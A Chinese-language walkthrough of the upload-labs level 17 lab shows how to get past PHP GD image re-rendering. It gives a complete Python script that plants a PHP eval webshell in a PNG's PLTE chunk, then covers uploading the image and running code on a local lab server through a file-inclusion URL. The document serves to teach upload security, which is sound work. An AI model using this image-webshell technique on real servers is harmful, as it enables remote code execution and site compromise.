目录
本文通过《upload-labs通关笔记-第17关文件上传之二次渲染png格式(动态脚本法)》系列。二次渲染是防范文件上传的一种高级技术,通过使用服务器端图像处理库重新生成新的图片文件,这种方法大概率能消除文件中可能隐藏的恶意代码。而PNG格式较为复杂,首先在PNG格式添加恶意代码就很容易破坏图片导致渲染失败,再者即便添加成功隐藏的代码经过渲染很难保留下来,故而如何绕过二次渲染成功渗透是很难的技术问题,本节通过动态的python脚本制作png图片马来绕过二次渲染进行渗透实战。
一、PNG格式
PNG(便携式网络图形)是一种采用无损压缩的位图图像格式,旨在替代早期的GIF格式。其核心结构由文件签名和多个数据块(Chunks)组成:签名头固定为8字节的十六进制值(89 50 4E 47 0D 0A 1A 0A),用于标识文件类型。
| 组成部分 | 长度 | 描述 |
|---|---|---|
| 文件签名 | 8字节 | 固定值:89 50 4E 47 0D 0A 1A 0A |
| 数据块序列 | 可变 | 由多个数据块组成(至少包含IHDR、IDAT、IEND) |
| IEND标记 | 12字节 | 文件结束标记 |
PNG格式的图片关键数据块包括IHDR(存储宽高、位深、颜色类型等元数据)、PLTE(索引颜色的调色板,仅颜色类型3时必需)、IDAT(存储经DEFLATE算法压缩的像素数据,可分段存储)和IEND(结束标记)。辅助块如tEXt(文本注释)、pHYs(物理像素尺寸)等以键值对形式存储元数据。文件安全性通过CRC校验保障,每个块尾含4字节校验码验证数据完整性。其中数据块(Chunk)通用结构如下表所示。
| 字段 | 长度 | 描述 |
|---|---|---|
| Length | 4字节 | 数据字段的字节数(不包括类型和CRC) |
| Chunk Type | 4字节 | ASCII字符标识块类型(大小写敏感) |
| Chunk Data | 可变 | 实际数据内容(长度由Length字段指定) |
| CRC | 4字节 | 循环冗余校验(校验Type和Data字段) |
二、源码分析
进入靶场第17关二次渲染关卡,查看源码分析其功能。这段代码实现了一个图片上传并进行二次渲染的功能。它首先通过上传文件的扩展名和 MIME 类型进行白名单过滤,只允许上传 JPEG、PNG 和 GIF 格式且MIME正确的图片。对于符合要求的图片,会将其移动到指定的目标路径,然后使用 PHP 的 GD 库对图片进行渲染处理生成新图,并删除原始图片。由于本文只针对png类型的图片进行二次渲染绕过,故而对文件扩展名为PNG格式图片的相关代码进行详细注释,具体如下所示。
// 检查文件扩展名和MIME类型是否为PNG
if(($fileext == "png") && ($filetype=="image/png")){
// 将临时文件移动到目标路径($target_path是经过安全处理的存储路径)
if(move_uploaded_file($tmpname,$target_path)){
/******************** 二次渲染安全处理 ********************/
// 使用GD库读取PNG文件(此函数会实际解析图像数据)
$im = imagecreatefrompng($target_path);
// 如果解析失败说明不是有效的PNG文件
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path); // 删除已上传的无效文件
}else{
/******************** 安全设计随机文件名 ********************/
// 生成随机文件名(防止文件名冲突/注入)
srand(time()); // 初始化随机种子
$newfilename = strval(rand()).".png"; // 纯数字随机名
// 指定新文件存储路径(UPLOAD_PATH应定义为不可执行的目录)
$img_path = UPLOAD_PATH.'/'.$newfilename;
/******************** 关键安全操作 ********************/
// 将图像重新输出为PNG(自动丢弃所有非像素数据)
imagepng($im,$img_path);
/******************** 清理操作 ********************/
@unlink($target_path); // 删除原始上传文件(保留二次渲染后的安全文件)
$is_upload = true; // 标记上传成功
/*
此时$img_path存储的是:
1. 经过GD库严格解析的纯净PNG
2. 通过渲染移除了可能隐藏的注入代码
3. 具有随机化的安全文件名
*/
}
} else {
$msg = "上传出错!"; // 文件移动失败(权限/路径问题)
}
}
1、代码审计
这段代码主要实现了对上传的 PNG 图片进行二次渲染的功能。它会先检查文件扩展名和 MIME 类型是否为 PNG,若符合要求则将文件从临时位置移动到目标位置,接着尝试通过使用渲染函数imagecreatefrompng创建图像资源。若创建成功,会生成一个新的随机文件名,将二次渲染后的图片保存到指定目录,并删除原始文件;若创建失败或文件移动失败,会给出相应的提示信息。
2、二次渲染
在源码中imagecreatefrompng函数就是文件上传中的渲染功能实现函数,也被称之为二次渲染。当用户上传图片至服务器时,二次渲染会启动一套严谨的安全处理机制。服务器首先获取图片文件,接着依据特定标准对图片数据进行深度解析,在这个过程中,会对图片的像素、色彩、格式等元素重新编排和处理。通过这种方式,将原本可能混杂着恶意代码、非法数据的原始图片,转化为纯净且安全的新图片。如此一来,最终存储在服务器上以及后续被调用使用的图片,都能避免恶意攻击风险,有效保障系统安全与数据稳定。完整的二次渲染通常包含如下流程。
| 步骤 | 具体操作 |
|---|---|
| 上传文件接收 | 服务器接收用户上传的图片文件,保存至临时目录 |
| 格式检查 | 检查文件是否为 JPEG、PNG、GIF 等合法图片格式,可通过检查扩展名、文件头信息及使用图片处理库判断 |
| 图片解码 | 使用图片处理库(如 PHP 的 GD 库、Imagick 扩展等)对上传图片解码,转换为内存中的图像对象 |
| 重新编码 | 对解码后的图像对象重新编码,生成新图片,过程中去除可能存在的恶意代码或非法数据 |
| 保存新图片 | 将重新编码后的图片保存到指定的存储目录 |
三、Python脚本法
PNG的文件格式有格式特性,就是在IDAT(图像数块)开始的地方写入字符串等等不会损坏图片的显示(一般在图片中注入脚本修改后都会变暗)。
1、python脚本
配置php脚本info_code,原始图片test.png,生成图片马名称为ljn_poc.png。
info_code = '<?php @eval($_POST[ljn]);?>'
php_code = info_code
php_png = 'ljn_poc.png'
png_file = 'test.png'
参考大牛写的python脚本,执行后直接生成一个包含恶意代码的图片木马ljn_poc.png。
# -*- coding: utf-8 -*-
"""
author: janes
"""
import binascii
class PNGError(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class PNG(object):
"""
read png file and modify png data to php code, just support index-color
images.
"""
def __init__(self, fname=None):
if fname:
self.openpng(fname)
def openpng(self, fname):
try:
with open(fname, 'rb') as f:
self.data = f.read()
except:
err_msg = "open {f} failed".format(f=fname)
raise PNGError(err_msg)
self.read_info()
def read_info(self):
try:
self.signature = self.data[:8]
self.depth = self.data[0x18]
self.color_type = self.data[0x19]
except:
raise PNGError('invalid png data')
if not self.check_signature():
raise PNGError('check png signature error')
if not self.check_type():
raise PNGError('just support index-color images')
if not self.check_plte():
raise PNGError('check PLTE chunk error')
pos = self.data.find('PLTE')
self.plte_len = int(self.data[pos-4: pos].encode('hex'), 16)
self.plte_pos = pos-4
def check_signature(self):
return self.signature == '89504e470d0a1a0a'.decode('hex')
def check_type(self):
return self.color_type == '03'.decode('hex')
def check_plte(self):
return self.data.find('PLTE') != -1
def set_payload(self, payload):
"""
set php code payload
"""
code_len = len(payload)
if code_len > self.depth*3:
err_msg = "payload is too long, can't to add to png PLTE chunk"
raise PNGError(err_msg)
self.payload = payload
def check_payload(self):
return len(self.payload) <= self.plte_len
def crc(self, data):
return '%08x' % (binascii.crc32(data) & 0xffffffff)
def modify_plte(self):
if self.check_payload():
im = list(self.data)
payload_pos = self.plte_pos + 8
# modify data to php code
for i in range(len(self.payload)):
im[payload_pos+i] = self.payload[i]
crc_pos = self.plte_pos + 8 + self.plte_len
crc_checks = self.crc(''.join(im[self.plte_pos+4: crc_pos]))
crc_checks = crc_checks.decode('hex')
# modify crc
for i in range(4):
im[crc_pos+i] = crc_checks[i]
self.im = ''.join(im)
else:
code_len = len(self.payload) # must be a multiple of 3
add_len = code_len % 3
if add_len:
add_len = 3 - add_len
plte_len = ('%08x' % (code_len+add_len)).decode('hex')
plte_type = 'PLTE'
plte_data = self.payload + ' ' * add_len
plte_crc = self.crc(plte_type+plte_data).decode('hex')
plte_chunk = plte_len + plte_type + plte_data + plte_crc
im = self.data[:self.plte_pos]
im += plte_chunk
im += self.data[(self.plte_pos+12+self.plte_len):]
self.im = im
def save(self, imfile):
with open(imfile, 'wb') as f:
f.write(self.im)
if __name__ == "__main__":
debug = 1
if debug:
info_code = '<?php @eval($_POST[ljn]);?>'
php_code = info_code
php_png = 'ljn_poc.png'
png_file = 'test.png'
else:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('in_file', help='input png file')
parser.add_argument('-p', dest='payload',
help='php code to add to PLTE chunk', required=True)
parser.add_argument('-o', dest="out_file", default='php.png',
help='output png file, default is php.png')
args = parser.parse_args()
png_file = args.in_file
php_code = args.payload
php_png = args.out_file
try:
png = PNG()
png.openpng(png_file)
png.set_payload(php_code)
png.modify_plte()
png.save(php_png)
except PNGError as e:
print "Error massage: {}".format(e.value)
使用如下命令运行后生成ljn_poc.png,具体如下所示。
python2 poc_png_ljn.py

如下所示,生成的图片种包含恶意脚本内容。

2、上传图片马
打开靶场17关二次渲染,按照要求将png后缀的图片马ljn_poc.png上传,具体如下所示。

上传成功后右键复制图片地址,具体如下所示。 
获取到上传后被渲染处理后的图片马的完整URL地址如下所示。
http://192.168.59.1/upload-labs/upload/30373.png
3、对比渲染前后图片
将渲染后的图片30373.png下载到本地,使用16进制比较工具将30373.png和原始图片马ljn_poc.png进行对比,可知渲染后的图片的脚本并未被渲染掉,具体对比如下所示。

4、访问图片马
upload-labs靶场中文件包含的首页地址如下所示。
http://127.0.0.1/upload-labs/include.php
构造文件包含 恶意访问URL,参数为ljn
http://127.0.0.1/upload-labs/include.php?file=upload/30373.png
为构造获取php版本信息post参数设置为phpinfo();,具体如下所示渗透成功。
ljn=phpinfo();
